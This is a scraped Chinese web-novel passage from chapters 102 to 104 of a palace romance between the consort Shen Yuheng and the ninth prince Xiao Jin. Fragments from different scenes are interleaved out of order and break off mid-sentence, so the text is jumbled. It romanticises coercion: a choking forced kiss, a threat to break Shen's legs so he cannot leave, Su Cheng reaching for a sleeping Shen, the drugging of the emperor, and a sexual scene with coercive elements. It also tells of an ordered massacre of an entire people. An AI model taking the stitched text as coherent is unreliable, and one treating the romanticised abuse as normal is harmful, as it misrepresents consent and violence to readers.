萧烬捏住他的脸颊,几乎是撕咬般地将他的呜咽声堵了回去,毫无章法地勾出对方瑟缩无辜的唇肉,再残忍地将他咬破,出血。 沈玉衡自入宫的那一刻起,他便不再属于自己,注定将作为一个不配拥有自我的附属,困于这座金雕的囚笼。 可他居然敢妄想自由。 萧烬知道,只有在这座窒息到喘不过气的皇宫里,他们之间这段扭曲荒谬的关系,才勉强显得正常。 他对沈玉衡的恨意深深扎根于此,仿佛是丛生的荆棘,在阴暗的角落里肆意生长,蔓延。 沈玉衡若是离宫,这段关系被置于阳光之下,注定会被撕裂所有本就脆弱的伪装。 所以他不能走。 萧烬捏着他下颌的力道越来越用力。 亲吻已经变成一场没有止境的酷刑。 沈玉衡被捏着下颌,渐渐汲取不到空气两只手费力地挥着,却还是无济于事。 屋内,自始至终没有任何一个人说话,只有时而响起的挣扎声和唇齿间的水声。 沈玉衡窒息到脸色发红,挣扎的力道渐渐消失了,萧烬才终于绕过他。 他眼中一闪而过的情动,短瞬间又冷却了,变回了彻骨的寒意。 他不可能会让他逃的。 到死,也不可能。翌日傍晚,沈玉衡终于退了烧。 病过一场,他疲惫到指尖都抬不起来,累的说不出话。 好在身上还算干燥,似乎有人为他换了衣服,并没有那种汗水黏糊的感觉。 只不过他毕竟是从鬼门关里走过一趟,整个人都消瘦了很多。 第一个发现他醒来的周源,赶紧叫来许太医查看情况。 确认沈玉衡没有烧出什么问题后,许太医开了几副方子给他,嘱咐:“沈妃这几日一定要静养身子,切勿再受惊扰。” 沈玉衡表面答应,心里却是无奈。 受不受惊,也不是他能说了算的啊。 “主子。”周源轻声喊他:“要不要让九殿下进来看看?” 沈玉衡愣住。 “他回来了?” “昨日主子被送回来后,一直是九殿下在主子身边照顾,连贴身的衣物都是他帮您换的。” 一个从来对沈玉衡冷言冷语的人,突然长了良心,开始照顾起他,本就让人惊讶。 考虑到沈玉衡和萧烬的那层“特殊”的关系,周源更是不吝美言。 系统越听越激动:【萧烬居然会照顾人了,这是救赎成功的前兆啊!之前从来没出现过的!】 救赎成功?深夜,屋外。 芸豆茭白急急忙忙跑来,询问周源。 “沈妃他怎么样了?还好吗?” “沈妃不是去了养心殿吗,怎么会出事?” 小宫女们一个比一个焦急。 自开春以来,宫里流言蜚语越来越多,不少人都说,天子身体衰败,天下即将易主。 更有甚者,说…… 若是天子驾崩,他会带上自己最宠爱的几个嫔妃,一起葬入皇陵。 沈玉衡就是其中一个。 周源安抚她们:“沈妃无事,只是在养心殿摔着,磕碰了身子。” 小宫女们还是担心,来来回回询问了好几遍,听说沈玉衡已经在寝殿里睡下了,这才安心。 周源目送她们离开,心里却在打鼓。 他从养心殿接回沈玉衡的时候,几乎不敢相信自己看见了什么…… 偌大的殿中,死寂一片。 灯影摇曳间,龙椅上的萧槐形单影只,威严褪去,只剩寂寥的颓然。 他怀里,是被随意拥住的沈玉衡。 一把寒光凛然的短刀在两人之间晃动,刀尖偶尔掠过沈玉衡的颈侧,激起一道浅浅的血痕。 血珠随着刀锋滚落,滴进萧槐掌心。 “陛下!”周源跪在了门口,连大气也不敢出。 察觉到他的存在,萧槐缓缓抬眸,动作懒散,眼中却有看不透的情绪涌动。 昔日万人之上的他,只是淡淡看着周源,嗓音干涩:“你是来接他走的。” 周源屏住呼吸,战战兢兢地点头。 萧槐垂下目光,像是笑了一声,带着几分自嘲。 他将短刀掷在地上,声音在殿内回荡得空荡又寒冷。 萧槐推开了沈玉衡,那动作轻得仿佛在碰一件易碎的瓷器:“带他走吧。” 周源连忙上前搀住沈玉衡,急匆匆扶着人往外走。他能感觉到沈玉衡的身体滚烫,异常的高热。 他担心他,却不敢回头。 身后,养心殿的大门缓缓关上,夕阳最后一抹余晖洒在门板上,晕染出一片悲凉的金红。 太阳下山了。 宫殿被这片余晖吞没。 周源背着沈玉衡一直跑,不敢停,直到遇见了萧烬。 他将沈玉衡带走,默默走入了寝殿,大门紧锁。 整夜都没有出门。 “别别别,千万别立flag了……” 沈玉衡慢条斯理地眨了眨眼。 脑海里,关于昨日的记忆渐渐浮现。 明明不曾发生过什么可怕的事情,彻骨的凉意,却慢慢攀上了他的身体。 萧烬与他们之间的位置,身材曼妙的舞女们水袖轻舞。 朦朦胧胧的香雾间,沈玉衡与萧槐相依的身影,犹如一场无尽循环的噩梦。 官员们并不知道萧烬此刻压抑着何种情绪,他们笑成一片,很是欢乐的样子。 “看到圣上与沈妃和好如初,微臣也就放心了。” “沈妃获宠,九殿下也破了星象之祸,老朽深感欣慰啊。” 官员们当然乐得看见这副光景,在他们看来,沈玉衡虽是男人,但既然陛下说了,他是萧烬的母妃——那他便是萧烬的母妃了。 沈妃的恩宠与九皇子的地位牢牢捆绑在一起,你中有我,我中有你。 如今二皇子受惩,沈妃重获恩宠,更加证明了,圣上有意扶持九皇子。 当初朝中许多二皇子的手足,在二皇子萧棋下狱后,反应激烈。 可他们前一天还在为萧棋满世界伸冤,后一天就突然倒戈,转而开始支持九皇子萧烬。 老臣们迫于压力,别无办法,只能冒险追随萧烬,赌上一把。 他们那时还不肯确定,自己是否跟错了人。 看来现在,终于有答案了。 众人笑的快活。 在萧烬身后,一个偏僻阴暗的角落。 苏澄静静坐在那里。 自从沈玉衡被皇帝召了过去,他的视线就没有从他身上离开过。 他的座位在角落,反倒没有舞女挡着视线,足以直接看见他们。 明明萧槐才是沈玉衡名义上的丈夫,可是他们两人亲昵的画面,却让苏澄不自觉地握紧了手中的筷子,几乎快要折断。 他的心情有点奇怪。 和他发现沈玉衡与萧烬的事不同…… 这一次,苏澄的心脏,像是被人紧紧掐住。 仿佛看见自己那碰都不舍得的妻子,被迫在他人身下承欢一样。 他无数次想象自己推开萧槐,把沈玉衡抢回来的场景,想象太过逼真,连指尖都因为兴奋而微微颤抖。 他的视线轻轻移向一旁,突然顿住。 ……不知何时, 萧烬消失了。 “怎么了?”萧烬也看出他似乎要说什么事,严肃起来。 “不是什么重要的事,只是,我们说好的。” 沈玉衡有些心虚地抽出手,又不知道自己在心虚什么,掌心微微冒汗。 “要过年了,我……要回家了。” 第 102 章 第 102 章 102 他话音落下,面前却迟迟没有回音。 火光摇曳,少年眼底的光晦暗不明,连带着整个屋子都暗了几分。 金丝楠木的椅子被他坐着,都仿佛成了龙椅似的,屋里尽是一片压抑的气息,沈玉衡觉得有些喘不过气。 可制造这片压抑的人却仰起头,一双弃犬般潮湿泛红的眼睛,唇线抿成一条细线:“母妃又要走了。” “……是。” 沈玉衡微微侧头,又重复了一遍:“我们说好的,你伤势恢复,我就出宫。” 萧烬深吸了一口气。 当晚,沈玉衡留宿在苏澄这儿。 嫔妃之间互相留宿过夜,平日里当然是不允许的。 但今日是正月初一,又有沈玉衡受伤的原因,自然没有人会多说些什么。 这还是沈玉衡穿书以来,第一次在清濯殿和养心殿以外的地方过夜。 苏澄的寝殿虽然小了一些,不过到了夜晚,把炭盆往屋里一放,再煮一个热乎乎的锅子,也是特别的惬意。 热腾腾的锅子,汤底是用牛骨混合十几种香料一起熬出来的,本身已经香气扑鼻,放入各类蔬菜和鲜切的肉片,更是一绝。 冰雪覆盖的屋檐下,冒出腾腾的白雾,泛黄的烛光,让屋里显得更加温暖。 沈玉衡一边吃一边和苏澄聊天,特别像在同学家留宿。 虽然苏澄只是一直浅笑着点头,偶尔出声回应,但是和他在一起,沈玉衡的心理压力轻多了。 至少苏澄是一个正常人。 沈玉衡和系统小声吐槽:“为什么世界上有这么多正常人,我平时遇到的却全都是……” 【宿主,猜您想说:变态】 沈玉衡:“……”时间已近六月。 天气渐热,日头也逐渐晒了起来。驻扎在妄云寺山脚下的士兵们,越来越燥热不安。 萧棋迟迟没有抓到,前朝风云瞬息万变,他们却只能在这荒郊野岭干守着。 黄沙地上,一个戴着斗笠的身影快马加鞭地赶来,扬起阵阵风沙。 军营外的看守立刻举起长枪,厉声要求他下马接受盘问。 “我找我大哥。” 那人抬起一截斗笠,露出不耐烦却精致贵气的一双眼,一看就是家世显赫的公子哥。 看守们依旧不放人:“你大哥?谁手下的?” “沈云璟。” 看守们一愣,还没等他们反应,就听到身后一道熟悉的声音:“沈二公子?” 岳临从马背上一跃而下,上前谢罪:“属下不知沈二公子驾到。” 两个看守已经慌忙退后,低下了头。 沈听澜言简意赅:“我找我哥。” “属下送二公子过去。” 军营里等级分明,岳临在京城里也是个有头有脸的侯爷,放到这,却只能算是沈云璟帐下一员副将,以“属下”自称。 ……他可真不理解。 沈听澜心底冷哼一声,跟着岳临前往将军帐的方向。 …… 沈云璟彼时正在帐中与几位心腹商议要事,听说沈听澜来了,心里顿时有种不好的预感。 支退旁人后,他压低声音,表情严肃地问沈听澜:“家里出事了?” “出事?能出什么事?我只是奉人之托。” 说着,沈听澜把一封信拍在沈云璟的桌案上。 “喏,你家小玉的信。” 沈云璟顿了一顿,将信展开,却见第一行写着一个小小的“嘘”字。 第二行则是几个更小的字—— 有人在听,勿声张,勿讨论。 沈云璟心一沉,继续往下看。 信中内容不多,简单直白地告诉他们:无论是前朝还是军营,萧烬的死士在盯着每个人的一言一行,祸从口出,千万不要说些不该说的话。 这件事,沈云璟也有些察觉。 听说如今掌权的那位九殿下,相当多疑残忍,他手下有一批死士,专为他刺探各个官员的行踪。 家中几口人,做过什么事,说了什么话——他们知道所有的秘密,将看到的一切,一五一十转达给自己的主子。 虽然目前为止,不曾听说过谁被这些死士伤害,但他深知这些死士的危险。 他接着往下看,视线却忽然愣住。 “小心岳临。” 这四个字,落在眼中,如同针刺般让沈云璟眉头猛地蹙起。 他从未怀疑过岳临——那个陪他出生入死的副将,那个可以把后背毫无保留地托付给他的兄弟,怎么可能成为需要提防的存在? 沈玉衡提笔写下这句话时,也深知此举无异于悬崖试探。 信笺若半途遭劫,便是板上钉钉的灭顶之灾。 但他别无选择。 事态已逼至如此凶险,他唯有尽快提醒沈云璟,让他知晓这件事背后暗藏的杀机。 京城中,萧烬的死士如幽影潜伏,分布在各处隐秘的角落。他们是萧烬多年悉心培养的心腹,手段狠辣,效忠于他一人,唯命是从。 原书中,岳临投靠叛军,四处叛乱蜂起之时,沈云璟作为他曾经的上级,也曾险些命丧其手。 沈玉衡深知,凭他一己之力,根本无力挽救天下黎民。然而,他想,若救不了苍生,也至少该保住自己的至亲朋友。 至于岳临岳枫…… 沈玉衡并不知道岳临叛逃的真实理由,但如果他这一次仍然选择叛军,大哥还是离他们越远越好。 你真是猜的太对了!! 晚上,两人各自泡完澡后,苏澄让人在屋门口简单铺上被褥,打算在那块儿睡觉。 沈玉衡怪不好意思的,赶紧提出和他交换:“这里是你的地方,我睡外面就可以。” 他刚想要起身,却被苏澄立刻按了回去。 “沈妃伤了腰,待在这里就好。” 沈玉衡还打算说些什么,然而苏澄根本不给他这个机会,他压住沈玉衡的手,微笑着。 “沈妃就在这儿睡……好吗?” 他眨了眨眼,似是委屈。“殿下,外围的看守已经解决了,是先救人,还是先找到萧棋的位置?” 一男一女两个死士骑马归来,向萧烬汇报情况。 叛军的本营位于妄云山西面远处的一个矮坡下,地势偏僻隐蔽,即便是经过此地,也不一定能注意到矮坡下方居然有那么大一片空间。 他们万万没想到,寻找了那么久的叛军本营,居然会在这种地方。 不过……更加没想到的是,萧烬竟然会知道叛军本营的位置。 既然知道,之前为何要拖延时间,而不是一举击破? 死士们虽然心中有疑问,但谁也没宣之于口。 他们的主子从来都有自己的判断,旁人过问不了。 枝丫低矮幽暗的树林里,萧烬盯着叛军本营里升起的团团篝火,冷眼道:“别打草惊蛇,你们引开里面的人,把他带出来。” 闻言,两个死士面面相觑,有点犹豫该不该开口的样子。 “我们试过。”一人道:“但沈妃身边聚集了不少士兵,我们想引开,也只能引开几人……” 他们不知道该不该把屋里的情况告诉萧烬。 萧烬对这个沈妃的态度,向来难以捉摸。 他说是不介意沈妃是死是活,可万一屋里真的发生了什么……以萧烬的脾气,他们是扛不住的。 另一人道:“殿下,沈妃那儿情况有些复杂……还是您亲自去看看吧。” 萧烬冰冷的声音:“我不介意他缺手少腿。” 等他把沈玉衡抓回来之后,他同样是要吃这些苦的。 大概只有折断沈玉衡的腿,他才不会再想着逃跑。 死士犹豫开口:“不……他们似乎是想欺辱沈妃……” 顶着他恐怖至极的眼神,另一人缩了缩脖子,幽幽道:“沈妃在男子里,确实算是貌美……” 沈玉衡却突然打了个寒颤。 不知为何,他似乎在苏澄的眼神里隐隐感到一股诡异的狂热,和他平时的性格完全不同。 就好像人皮面具突然被掀开一角,诡异的令人不安。 在哪睡不都一样吗?为什么一定要他睡在这里? 沈玉衡看着苏澄温柔却又莫名渗着寒意的眼睛,到底没能问出口。 熄灯时,已是深夜。 沈玉衡虽然对苏澄多了一丝提防,但是忙碌了一整天,更困得厉害。 他睡着后,须臾之后,苏澄从床上坐了起来。 男子映在窗纸上的黑影,微微转头,看向了沈玉衡的方向。 寂静的夜色里,有鞭炮与爆竹的声音,远远从宫里某处传来。 等到鞭炮声结束,万籁俱寂,他终于听见沈玉衡均匀的呼吸声,从自己床榻那头传来。 苏澄心跳如擂鼓,剧烈的几乎快要冲破心脏。 他迈出颤抖步伐,幻想沈玉衡与萧烬逾矩的时候,是否也曾走过这一段静悄悄的夜路。 苏澄已经走至床前,看着床上静静睡着的人,宛如随着大地呼吸而起伏的山峦。 “沈妃……” 他伸出手,想要触碰山峦诱人的嵴线。 一道白光突然穿破窗纸,尖锐的刺痛感贴着指尖飞过,鲜血瞬间渗出细小的伤口。 下一秒,一支弓箭深深插//入墙面。 苏澄惊愕看向窗外,被弓箭捅破的窗纸洞眼外,隐约看见一个黑色的人影高高立在屋檐之上。 那个黑影弯弓搭箭,细长的弓被他拉弯弧度,再次对准相同的方向—— 他笑得不怀好意,又有几分服软的意思:“朕小时候也是个没人哄的,母妃与其哄外人,不如先哄哄朕。” 萧烬说话的工夫,沈玉衡明显感觉到了少年身体的变化。 体温更热了,呼吸也更急促了。而这一切的起因就是他隔着衣料搭在萧烬胸前的指尖。 沈玉衡目光下意识向下,又仿佛被烫伤般地移开。 他脸颊发热:“……你就是这么让我哄你的?” 他起身想走,却被萧烬拦住:“母妃分明说过……年前都会一直陪在朕的身边,莫非是随口胡诌的?” “我是陪你!但不是陪你做这种——” 话说到一半,沈玉衡突然被萧烬摁回椅子里,少年的脸一下子近到连呼吸的热量都感受得到。 少年轻笑时,呼吸轻轻带起他耳鬓边一缕碎发:“朕又没让母妃帮。”空气里随即传来衣料松散垂落的摩擦声。 “朕自己来。” 第 103 章 第 103 章 103 萧烬,自己,来? ……什么意思? 沈玉衡没想明白,却因为萧烬的眼神和动作彻底反应过来了。 他慌张看着萧烬把自己的东西拿了出来。 屋里点着烛光却仍然昏暗,隔着重重心事,他刚才一直没怎么仔细看过萧烬的脸。 现在却一下子把他的另一处看的清清楚楚…… 沈玉衡的心情像是在路边默默发呆的时候,突然被记者举着话筒采访,怪惊吓的。 而且这支话筒还长得有些……狰狞。 头,正打算出门,却忽然被拉住了手。 宫宴第二日。 京城闹市里,沈听澜摇摇晃晃地走出酒楼。 街头,所有人都热热闹闹讨论着一件事。 “听说了没有?二殿下似乎是强抢民女,被陛下剥夺身份了!” “二殿下?我怎么听说,二殿下是因为抢了他那个皇帝老子的女人,才遭遇横祸的!” “你又是哪里听来的消息?二殿下怎可能愚蠢至此?啧啧啧……不可信……” 沈听澜装醉倚在人群旁边,闭着眼睛听了一会。 宫中的事情一旦在百姓间流传开来,便会半真半假,添油加醋,最后演变成各类奇闻。 他笑着摇了摇头,想去下一家酒馆喝酒,却突然想起什么。 大哥一直想知道沈玉衡那小子的消息。 啧啧啧。 沈听澜掉了个头,往沈家的方向走去。 果然,和他猜的一样。 沈听澜归家时,沈云璟正站在门边守着他,像是整夜未睡的样子。 见他回来,沈云璟问:“玉衡怎么样了。” “好得很。”沈听澜绕过他,去取自己的水烟壶。 看见沈云璟还没走,沈听澜姿态懒散地吸了口烟:“那小子过得可滋润了,你就放心吧。有圣上宠爱他,还能真的让人欺负了不成?” 说到这儿,沈听澜忽然一笑。 “我进宫的时候,还看见他这儿,有个印子呢。” 他点了点自己锁骨处的位置,坏笑着弯起嘴角。 见沈云璟皱着眉头一副听不懂的样子,沈听澜啧一声:“大哥这个岁数没有成家也就算了,怎么连这些事都不懂?” “我知道那是什么。”沈云璟淡淡地说:“只是我下了药,陛下不曾碰过玉衡。” 沈听澜呆住。刚刚官复原职的苏家老爷——苏宇常站在首位,腰杆挺得笔直,脸上洋溢着得意之色。 朝堂之上,群臣分列,鸦雀无声。 他原本只是个芝麻小官,还辞了官,打算支持萧棋一党。 这本该杀头的罪过,现在却因为儿子“飞黄腾达”,不仅免了罪名,还一跃成为了一品大官。 听闻萧九十分满意他的儿子,起初苏宇常还不敢信,现在却是非常确定。 苏宇常神气到了顶点。 他扫了一眼满朝文武,最后将目光定格在了立于角落的沈崇身上。 萧烬刚得势时,所有人都以为沈崇位高权重,又有一个做了萧烬“母妃”的儿子。必然位置稳固, 苏宇常嘴角勾起一抹得意畅快的笑。 他趾高气昂:“沈大人,听闻近日边境军情又有动荡,却迟迟未见有明确对策,不知大人是未曾思虑周全,还是忙于其他事务?”苏宇常眯起眼,语气里透着几分轻蔑。 沈崇皱了皱眉,抬头道:“边境军情已有折子呈上,陛下病体未愈,尚未批复,臣不敢擅专。” 他语气不卑不亢,无意辩解太多,却让周围群臣心里发凉。 沈崇这话分明是在点龙椅上的萧烬——萧槐尚还健在,他一个皇子怎敢如此逾越? 苏宇常望着沈崇冷笑一声,一边说话,一边朝萧烬的方向走了走。 “臣子的职责,不仅是为陛下分忧解难,也要顾及皇家。九殿下康健,沈将军何必一味等待圣裁?” “如此推诿,恐有失臣职啊。” 满朝大臣噤若寒蝉,竟无一人敢为沈大将军说话。 苏宇常如今大权在握,且坊间传闻,九殿下十分疼爱陛下的男妃苏澄。 苏家如今气盛,谁都不愿轻易触霉头。 沈崇眼中闪过一丝暗色,并未低头,而是平静答道:“臣所奏之策,皆为陛下定夺。若有不妥之处,臣愿改之。苏大人若有良策,亦可尽言。” 他正气凛然的样子,更激起了苏宇常的不满:“沈大人真是自谦得很啊。不过,沈大人年迈,日日上朝实在有些劳累您了,还是早些让贤吧!” 此言一出,朝堂陷入短暂的沉默,心中暗暗惊叹苏宇常的狂妄。 最后,苏宇常大袖一挥,朗声道:“澄儿多得圣上照拂,微臣一定尽心尽职,不令陛下失望。” “若有人敢懈怠职守,辱没圣恩,微臣也绝不会姑息!” 沈崇闭了闭眼,神色隐忍,却无话可说。 然而,苏宇常的讨好并未换来萧烬的任何反应。 一身漆黑长袍,金线暗纹勾勒出繁复的纹路,他如一道阴影,毫无顾忌地坐在他父皇的龙椅上。 萧烬抬眸的瞬间,周遭似乎都冷了几分,连苏宇常都吓得不敢吭声。 殿内一片死寂。清濯殿的偏殿内,敲门的宫人给苏澄送了几封他父亲寄来的信。 他皱着眉头,粗略扫了一眼里面的内容,无非又是在催促他,要他抓紧机会接近萧烬。 他把那些信放到烛火上,任由火苗吞噬墨迹。 火越烧越旺,信纸的残片逐渐没了重量,成了飞灰。 他静静望着半空的灰烬出神。 窗外,突然传来一声急促嘶哑的吼声:“有人吗?!有人吗!!” 苏澄回过神,他刚一走出去,就看见周源跌跌撞撞跑了过来,眼睛都是血红的。 苏澄赶紧扶起他:“怎么了?” 芸豆和茭白也跑了过来。 周源一下子哭出来了,眼泪哗哗地往下掉。 他一向是最稳重的,这一哭把小宫女们吓得不轻。 他咬着牙:“圣上驾崩!沈妃——沈妃他——” 听到“圣上驾崩”四个字,苏澄的瞳孔剧烈一震。 他赶紧扶起周源:“你好好说话,沈妃他怎么了?” 周源抹干净眼泪,把话说完,所有人的脸色都苍白了。 天子驾崩,胸口还插着沈妃的金莲簪,这件事要是传出去,沈玉衡是跳进黄河也洗不清的。 只要沈玉衡获罪,他们这些服侍过沈玉衡的奴才,一个也跑不了。 苏澄浑身冷汗。 不久前沈玉衡还在清濯殿,此时却已经被扔到冷宫,等待降罪。 他也想帮沈玉衡,可光凭他的力量,实在太无力了…… 他面前,周源跪了下来,额头猛地砸在地上,磕出了一行血:“苏才人,求您求求九殿下,求他帮帮沈妃吧。” 沈玉衡待萧烬的好与坏,他们都看在眼里,从前的错处无法挽回,但现在的沈玉衡从未亏待过九殿下啊! 可他们谁也不敢确定,萧烬是否会帮沈玉衡。 苏澄扶起周源,目光有点深沉:“我……试试吧。” 出了这种大事,宫门一定会立刻落锁,免得在京中生出什么流言蜚语。 待到继位之事都稳妥后,才会下诏书,昭告天下。 但萧烬已经不在寝殿内。 屋里只剩萧烬留下的一地狼藉,宛若硝烟过后的废墟,沈玉衡喜欢的那盏茶壶,碎的不知所踪。 苏澄眼神哀怨地垂了垂。 萧烬不该这么对沈玉衡的,至少换做是他,他一定不会…… 苏澄沉吟间,芸豆小心翼翼地告诉他,萧烬刚刚很早就离开了,好像也往莲阁的方向去了。 “好。” 苏澄思来想去很久,最终还是去找到了萧烬身边的死士,请求他们放自己出宫,去探望父母。 因为宫中的变故,死士们也十分忙碌,见是苏澄,他们几乎没有犹豫,立刻放行。 萧烬待苏澄的确是特别的,只要是苏澄想做的,他们顺着帮忙,就不可能出错。 苏澄出了宫,立刻让轿辇赶往沈家。 御前太监方青轻手轻脚地走来,双手捧着战报,语气恭敬却不掩敬畏:“殿下,信报到了。西北边境,箬凉果然进犯大周领土,夺下了一座城池。” 众臣微微动容,箬凉这些年对大周边境骚扰不断,虽然算不上大敌,但也极为棘手,竟然如此轻易得手? 方青顿了顿,斟酌了一下措辞,接着说道:“几位将军已依照殿下所授密令,从后方绕行,彻底屠了箬凉的国都。箬凉全族上下……尽灭。” 将帅兵马,老幼妇孺,一个不留。 这句话落下,朝堂上刹那间死寂。每个人的心中都掀起滔天巨浪,面上却不敢表露分毫。 陛下健在,兵权却被萧烬揽到了手里! 沈崇心中震撼,不可置信地望着萧烬,不明白他是怎样做到的。 不仅如此,箬凉骚扰大周国多年,虽不算威胁性极大的强敌,但因为行踪诡秘,攻势突如其来,历代皇帝都拿他们无计可施,只能被迫防守牵制。 如今,竟在萧烬的指挥下,被一举覆灭! 群臣本以为少年皇子不过是一个靠着对权臣的高压手段,表面强势的纸老虎; 却没料到,他不仅雷霆手段,而且极为狠辣,果断。 无一丝怜悯,直接屠了满城蛮夷,以绝后患。 群臣之中,不乏敬佩者,恐惧者更是不计其数 萧烬不以为意,只将战报随手抛到案几上,语气淡漠,仿佛谈论的不过是件寻常琐事:“后续战事,按计划继续。” 他说完,修长的手指轻轻扣了扣桌案,目光扫过群臣。哪怕没有显山露水的动作,那种压迫感却让人几乎喘不过气来。 众人不约而同地低头拱手应声,人人自危,唯恐成为他的下一个目标。 片刻后,他手里的水烟壶忽然坠地。 沈听澜几乎暴跳如雷,他知道自己大哥不可能拿这种事撒谎。 他关紧大门,质问了沈云璟好几遍,得到的答案却依然是同一个。 “沈云璟,你是不是疯了?” 竟然为了三弟,在供奉给圣上的补品里下药? “爹、你、还有我——我们有几条病,够你这么玩?” 他上前一步,一脚踹开了地上的水烟壶,抓着沈云璟骂道:“就你还敢说三弟不懂事?要是圣上查出是你下的药,你想过咱们三个的后果吗?!” 沈听澜默默看着他。 “不对,玉衡也不老实。”沈听澜气得松开他,喃喃自语:“既然圣上没碰过他,那……那个痕迹是……” “萧九。”沈云璟幽幽出声,沉下一口恶气。 沈听澜闭了闭眼。 他的脸上,浮出淡淡的死意:“……” 好嘛,他悬着的心终于死了。 一个偷偷给皇帝下药,让他睡不了自己弟弟,一个嫁给皇帝又背着皇帝睡他儿子。 聪明啊。 一个二个,都是一等一的大、聪、明。 沈听澜在心里绝望鼓掌。 谁能想到,他这个天天喝酒不学无术的人,居然是这个家里最最老实的一个? 难道就只有他真的害怕掉脑袋吗?? ……就离谱!! 一回头,萧烬的脸不知何时已经到了近前。 两人的鼻尖若有若无地碰了一下,暧昧的气息又靠了过来,把沈玉衡吓了一大跳。 “你——” 沈玉衡惊恐的话语还没说出口,萧烬突然小声“嘘”了一声,嘴唇几乎快要碰到他的。 沈玉衡慌忙想要躲开,腰却突然被他伸手抱住。 少年整个身体靠了过来,情不自禁地圈住他的腰,闷着声音抵在他肩上:“母妃要走了。” “……嗯。”他假装没有听见少年话里的其他意思。 萧烬抓着他腰间的玉带,曲起手指,拽的更近:“都要走了,最后再让朕亲你一下……好不好?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第 104 章【正文完】 第 104 章 【正文完】 104 萧烬用鼻尖轻触他的额头,仿佛是兽类在寻求交/欢的信号。 主动权被放在他手里,沈玉衡突然不知所措起来。 其实萧烬早已把主动权给了他,只是一直在边缘浅浅试探,永远在危险线边缘徘徊,让他始终找不到机会行使。 现在,区区一个吻,少年居然煞有介事地让他来决定。 也……不是不行。可他就是张不开嘴。 脸颊也随着心跳加速慢慢变红,话在喉咙里滚了好几遍,越来越不成型。 “母妃不说话,朕便当母妃同意了?” 少年留给他思考的时间不多,只够沈玉衡眨下眼,两人视野里的彼此就开始慢慢靠近,逐渐失焦。 有点凉,不那么柔软的唇贴上了他。 起初那是一个克制的,带着淡淡苦涩气息的吻,蜻蜓点水地触碰,试探性地磨蹭。 沈玉衡不知道这分涩味是茶还是药,或者两者都有那么一点,唇角感到微微的麻痹,有些松动。 这个小小的变化让萧烬受到了极大的鼓舞,舌尖轻巧挑开唇缝钻了进去,双手环着他的腰不让他离开。 不再刻意的怜惜,萧烬今日的动作格外急躁,将他的呼吸禁锢在方寸之间,房间里一时只剩唇舌交缠的水声。 沈玉衡想起要呼吸的时候,脸色已经涨得通红。 他被紧紧抱着,双手无处安放,只能搭在少年肩上,双腿也有点发软。 “母妃……”少年沙哑的声音透着露骨的欲/望,把腿软到快要滑下去的身体抱了起来。 沈玉衡感到自己的背贴到了一片温软的地方,那是他的床,被褥里还残留着自己的余温。 萧烬与他同住数月,一直保持着让他安心的安全距离,现在却一下闯入了这片禁地,堂而皇之地侵/犯进来。 唇肉已经被挤压的充血发红,快要彻底窒息之前,萧烬终于放过了他,抽身离去。舌尖拖着一条细细的银丝,像雨后的蛛网。 沈玉衡像个快要渴死的人,大口汲取着空气,少年雨点般的轻吻趁势落在他唇角,沉声问:“可以吗?” 沈玉衡没说话,都做到这里了,他觉得没什么好回答的。 可萧烬像不明白似的,又在他耳边重复了一遍。 最后他瞪了一眼萧烬微微勾起的唇角,羞耻地用手臂挡住眼睛:“……随你便。” 耳边传来少年得逞的轻笑,快要撕破他的听觉似的。 沈玉衡一瞬间有点后悔,挪动着想要后退,却被萧烬捏着下巴抵在墙上亲吻。 混乱中他感觉自己身上越来越凉,冬日御寒的衣物被尽数解开,来不及丢到旁边,少年的唇便贴了上去。 啃噬的疼痛伴随着痒意,左右交替,让沈玉衡越来越不能分辨自己的选择究竟是正确还是错误。 恍惚间他听见门外传来宫人的声音。 迟钝的大脑运转了好久,终于想起,那是来催他出宫的声音。 沈玉衡推了推萧烬的肩膀,手心传来麻麻的感觉:“我该走了,他们在催……” “他们不敢进来。”萧烬亲吻着他的小腹,呼出来的微热气息透进肚脐的小眼里:“母妃再陪陪朕。” 只是陪陪吗?沈玉衡很想这么嘲讽他,但下一秒,萧烬湿热的舌头就让他说不出话了。 脑海里昏昏沉沉,陷在混沌的识海里,不知道过了多久。 沈玉衡醒来的时候,已经是深夜。 他浑身疼的厉害,下意识睁开眼,看见窗外映入一片熟悉的月光,竟然和他在清濯殿时的景色如出一辙。 然而,过了漫长的几十秒时间,沈玉衡突然意识到什么,开始观察周围的陈设与家具—— 这里不是其他地方,正是清濯殿。 他撑着熟悉的柔软床面坐起身,往后退了退,根本不敢发出一点声音,生怕萧烬那个变态还在他附近。 好在过了整整好几分钟时间,屋里仍然静悄悄的,没有一丝动静。 走了吧? 沈玉衡松了口气。 走了也好,否则他真不知道,该用什么表情来面对萧烬。 沈玉衡理了理自己乱糟糟的衣袍,突然一愣,抬起手。他指尖沾染着一些东西。 他身子一颤,看见有什么正沾染在他小腹处的位置,明显是被谁涂抹过,将他小腹一截的位置全都染脏了。 他慌忙找来帕巾,擦去这些荒唐的痕迹。 勉强把自己收拾的像样之后,沈玉衡出门叫来周源,让他差人送浴桶过来。 他装作不经意提起:“对了,周源,你知道我是怎么回来的吗?” 谁知下一秒,周源就“噗通”一声跪了下来。 一向冷静的他也慌了,低声道:“主子饶恕!奴才什么都没看见……” 系统哦豁:【中译中:宿主,他什么都看见了】 沈玉衡:“……” 萧烬你真的,他哭死。 被沈玉衡“威逼利诱”了好一番,周源终于才告诉沈玉衡,他是无意间撞破的。 当时的他还未休息,一直在等沈玉衡回来。 夜色一片寂静,他忽然听见寝殿有奇怪的声音,进来察看时……居然看见窗门洞开,萧烬抱着沈玉衡,躲着月光,站在漆黑的阴翳里。 萧烬两手抱着与他差不多高的沈玉衡,却看起来轻而易举,丝毫不费力气。 他看见周源,却没有任何招呼,只是将沈玉衡放下,便又离开了。 周源不敢抬起眼睛看他,低着头道:“奴才担心主子这副样子被其他宫人看见,会遭人误会,于是先看好了门,一直等您醒来……” 沈玉衡点了点头。 周源是个值得信任的人,一直忠心于他,他相信他没有说谎。 和某些不知感恩且动不动发疯的狗皇子对比起来,简直就是云泥之别,高下立判。 沈玉衡不知不觉叹气。 周源看见他眉目间的愁云,小心翼翼地上前:“奴才一向自知分寸,请主子放心。” “……奴才只盼主子多些欢喜,将来九殿下与主子若要私会,奴才愿为主子守着,绝不让外人发现。” 说完,他取来一副崭新的披肩,半跪着呈给了沈玉衡。 沈玉衡披上前,看了一眼旁边的铜镜。 镜中,映出他颈侧的狼藉,脖颈的雪白弧线,遍是深浅不一的红印,残留着掠食者挥之不去的侵略气息。 他碰了碰脖颈,少年的恶意透过酸麻的疼痛,刺激着神经。 